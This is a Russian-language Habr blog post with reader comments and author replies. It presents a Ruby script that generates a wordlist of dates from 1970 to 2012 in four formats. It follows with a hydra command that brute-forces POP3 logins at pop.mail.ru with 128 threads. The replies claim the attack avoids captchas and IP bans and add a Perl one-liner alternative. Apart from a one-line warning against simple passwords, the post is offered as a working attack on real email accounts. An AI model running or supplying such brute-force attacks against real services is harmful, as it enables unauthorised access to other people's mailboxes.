Search
Write a publication
Pull to refresh

Программа на Ruby для составления словаря дат для брута

Цель: создать пассвордлист для гидры (hydra-gtk), содержащий даты в разном формате.

Ранее пробовал сделать свой словарь паролей с датами. Например мой ДР: 26081983 или 260883.

Для этого в EXCEL создал столбик с датами от 01.01.1970 до 31.12.2012 и еще один от 01.01.70 до 31.12.12 (благо — это не надо вводить в ручную, а всего лишь потянуть за правый нижний угол первой ячейки и подождать пока список не дойдет до нужной даты).
Далее эти колонки скопировал в блокнот и методом поиска/замены — заменил все точки на пустую строку, что привело к их удалению: было 26.08.1983 — стало 26081983.
Итого в словаре у меня получилось два формата даты 010170 и 01011970, но ведь первое января многие запишут как 1.01.1970 (т.е. без нуля впереди).

Попробовал написать генератор паролей на Ruby:
t1 = Time.now
start = Time.new(1970, 1, 1)                  # 1:01:1970 - начальная дата
array = Array.new
while start.year < 2013                       # с 1-01-1970 по 31-12-2012
    array.push(start.strftime("%-d%m%y"))     #  1 01   70 =>    10170
    array.push(start.strftime("%d%m%y"))      # 01 01   70 =>   010170
    array.push(start.strftime("%-d%m%Y"))     #  1 01 1970 =>  1011970
    array.push(start.strftime("%d%m%Y"))      # 01 01 1970 => 01011970
    start +=86400			      # инкремент +1 день (60 х 60 х 24= 86400сек)
end
fff = File.open("pass_date.txt", "w")         # сохраняем в файл pass_date.txt
fff.puts(array.uniq)                          # удаляем дубликаты
puts "======= finish: #{Time.now-t1} seconds" # затраченное время

запускаем руби_код:
ruby pass_gen.rb

запускаем брут почты:
hydra -L login.txt -P pass_date.txt -o log.txt -t 128 pop.mail.ru pop3

В итоге имеем:
1. четыре варианта формата даты без повторений;
2. возможность изменять начальную и конечную дату.

P.S. Не используйте простые пароли.

UPD1. oe24 написал: А что, mail.ru не будет со временем требовать у Вас символы капчи?
Ответ: Нет.
UPD2. icon написал: Критика такая (с практической стороны), что даты вообще-то бывают ещё исторические и также научно-фантастические, а не только в диапазоне TheEpoch-ДоПримерноКонцаСветаПоНашейИнтерпретацииКалендаряМайя.
Ответ: Выбрал этот период дат, т.к. он включает возможные даты дней рождений, которые очень часто используются как пароли, ведь их не забывают.
UPD3. or10n написал: пост бесполезен более чем полность, такой код пишется на любом современном языке за 10 минут. по поводу самого кода, зачем делать массив, когда можно сразу пихать данные в файл?
Ответ: массив создавался для того чтобы: можно было применить метод .uniq для удаления дубликатов, а в дальнейшем .sort_by для сортировки и посчитать количество сгенерированных паролей «puts array.size».
UPD4. vk2 написал: А Вы хабр до этого читали? Как считаете, тематика и глубина статьи подходит? Без обид.
Ответ: Спасибо, никаких обид. Читаю с 2008-ого, хабраюзером стал в 2010-ом (до того как ввели халявную регистрацию, постил в песочницу и был приглашен). Пост написал в Информационную безопасность, т.к. он ее полностью затрагивает. В ruby, т.к. программу писал на ruby.
Надеюсь вы не считаете что брут почты не попадает под тематику Информационная безопасность?
Глубина статьи? — Цель достигнута, больше ничего не нужно.

UPD5. lany написал: Как вы планируете вводить капчу по протоколу pop3? Я думаю, они просто забанят по IP.
Ответ: не забанят, и капчи не будет, это же hydra.
UPD6. zorgrhrd написал: Для спасения топика, предлагаю в комментах постить способы решения данной проблемы на вашем любимом языке.
Ответ: Спасибо, но спасти не удалось, возможно заминусовали те, кто думают что это не работает из-за капчи
UPD7. spiritedflow написал: думаю, вероятность встретить какую-нибудь клингонскую дату среди паролей пользователей mail.ru не выше, чем встретить 'z#,KjylbyrF$ubr'. С практической стороны я бы 2009 и дальше исключил, врядли кто из детей меньше 4 лет завёл себе почту. С другой стороны использовать день рождения ребёнка тоже могут.
Ответ: Да, очень часто используют пароли в виде дат дней рождений родителей и детей. Исключать нет смысла, т.к. словарь за сто лет включающий 4 варианта отображения дат генерится меньше секунды и содержит 94646 паролей.
UPD8. lany написал: Если я правильно понимаю код, дубликатов при таком методе генерации быть не может. И я, конечно, не специалист в Руби, но, по-моему, файлы закрывать всё-таки стоит. Хотя ошибся. Действительно могут быть. Но их можно по пути легко отсекать.
Ответ: Повторений очень много, т.к. дублируется четыре раза одна и таже дата, за сто лет 146100 паролей, из них 51454 повторений.
UPD9. vk2 написал: Что любопытно, можно вообще не заморачиваться strftime(), т.к. это все-таки довольно ресурсоемкая операция. Еще можно не инкрементировать на 86400 секунд и так далее. Можно тупо принять за правило, что у нас в каждом месяце 31 день и просто поставить три вложенных цикла. Мы получим в году всего 6-8 неверных паролей (этим можно пренебречь), зато как упрощается программа :)
Ответ: Да все верно, 7 неправильных (8 в высокосный год), но т.к. 4 разных варианта отображения, то это примерно 30 в год и 3000 за сто лет. Гидра брутит со скоростью 1600 пасов в минуту, всего две лишних минуты.
UPD7. lany написал: Ну не знаю, как-нибудь так:
perl -e '$t=0;while(1) {last if (@d=gmtime($t))[5]==113;@v=($d[3],$d[4]+1,$d[5]%100,$d[3],$d[4]+1,$d[5]+1900);printf "%d%02d%02d\n%d%02d%d\n",@v;printf "%02d%02d%02d\n%02d%02d%d\n",@v if $v[0]<10;$t+=86400}'>pass_date.txt
Без повторов и без массива.
Ответ: Спасибо, еще нужен счетчик паролей и таймер
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.